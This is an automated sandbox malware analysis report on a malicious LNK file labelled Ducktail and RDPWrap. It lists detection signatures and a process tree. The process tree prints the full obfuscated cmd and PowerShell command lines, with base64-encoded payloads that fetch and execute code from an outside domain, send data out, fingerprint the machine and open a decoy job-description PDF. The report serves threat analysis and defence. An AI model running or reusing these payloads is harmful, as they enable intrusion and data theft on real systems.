Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
4YgQ2xN41W.lnk

Overview

General Information

Sample name:4YgQ2xN41W.lnk
Analysis ID:1551874
MD5:5e8b0524eb05f88bbfd422640fab0497
SHA1:09d47dc67c542e230840d6a8ea8edf310bdfca97
SHA256:f6a392f44d61f31e678ded3640be2944f02f3f9aef4c6d6155ff8396cb1536fd
Infos:

Detection

RDPWrap Tool, Ducktail
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Ducktail
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Changes security center settings (notifications, updates, antivirus, firewall)
Contains functionality to hide user accounts
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Hides user accounts
Loading BitLocker PowerShell Module
Modifies security policies related information
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: PowerShell Base64 Encoded WMI Classes
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Uses regedit.exe to modify the Windows registry
Yara detected Obfuscated Powershell
Yara detected RDPWrap Tool
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality to detect virtual machines (STR)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file contains strange resources
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

Process Tree

  • System is w10x64native
  • cmd.exe (PID: 4148 cmdline: "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 8268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • powershell.exe (PID: 7764 cmdline: POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA==" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 2032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • csc.exe (PID: 8008 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)
        • cvtres.exe (PID: 8120 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1AAD.tmp" "c:\Users\user\AppData\Local\Temp\ybpc4wl1\CSC6A692CC47F2F404EAC3A66596F569951.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
      • powershell.exe (PID: 1012 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
        • AcroRd32.exe (PID: 5772 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\AppData\Local\Temp\Job-Description.pdf.pdf" MD5: 6791EAE6124B58F201B32F1F6C3EC1B0)
      • cmd.exe (PID: 7628 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
        • powershell.exe (PID: 7900 cmdline: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AHkAdAAxAG4AOABkAGUAZAA5AGYAYgAzADgAMAAuAGMAbwBtAC8AZgBpAGwAZQAyAC8AOQAyADAANwA1AGQAYwA5AGQAYwA0AGEAOQA3ADUAYQA5ADQAOQBjAGYANAA0ADMAOAAxAGEAZAA2AGIAMgAzADkAZQBjADEAOAAxADQAOQBiADAAZgA1ADYAZQAzADYANgAwADIAYwBkADMANgBmAGYAMwBiADkAYgAzAGEAMQA5ADkANQBmADUAOAA2AGUAMAA1ADAANgA2ADYANABmADgAMgBiAGIAMQA4AGUAMwA3AGMAMQBiADAANQBiAGMAZQBiAGMAZQA3ADkAZAA5AGMAMQA2AGMANgBlAGYAMgBmADEANQA2AGIAZgBiADMAMwAyAGMAZgA4ADkANwA1ADYAZgA5AGQAMwBlADgAZgBjADgAOAAzADMAYwBiADEAYQA0AGMANgBhAGMAZQAwADEANQA0ADEAYwA2ADAAMABiAGIANAA2ADgAZABlAGEANwA4ADkAZABkADQAMwA2AGUAYQA3ADAAZAA5AGIANQA2AGMAMwBhADcAOQA2ADUAMQAzADgAMQBjAGEAYQAyADAANwA0ADYANgAxADkAYgBiAGEANgBjAGYAMgA2ADIAZQAyADAANAAxADYAOAA5ACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)
          • conhost.exe (PID: 4304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • svchost.exe (PID: 9568 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: F586835082F632DC8D9404D83BC16316)
  • svchost.exe (PID: 9916 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: F586835082F632DC8D9404D83BC16316)
  • SgrmBroker.exe (PID: 9956 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)
  • sppsvc.exe (PID: 10000 cmdline: C:\Windows\system32\sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)
  • svchost.exe (PID: 10052 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: F586835082F632DC8D9404D83BC16316)
  • svchost.exe (PID: 10188 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: F586835082F632DC8D9404D83BC16316)
    • MpCmdRun.exe (PID: 9728 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)
      • conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • svchost.exe (PID: 9148 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: F586835082F632DC8D9404D83BC16316)
  • svczHost.exe (PID: 9528 cmdline: C:\Windows\Temp\svczHost.exe cakoi10 uyt1n8ded9fb380.com MD5: EB57894A8FF610DF55C97E427D0DDD7B)
    • conhost.exe (PID: 9516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • cmd.exe (PID: 7772 cmdline: "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • cmd.exe (PID: 4404 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • sc.exe (PID: 7476 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
    • powershell.exe (PID: 3348 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 1432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
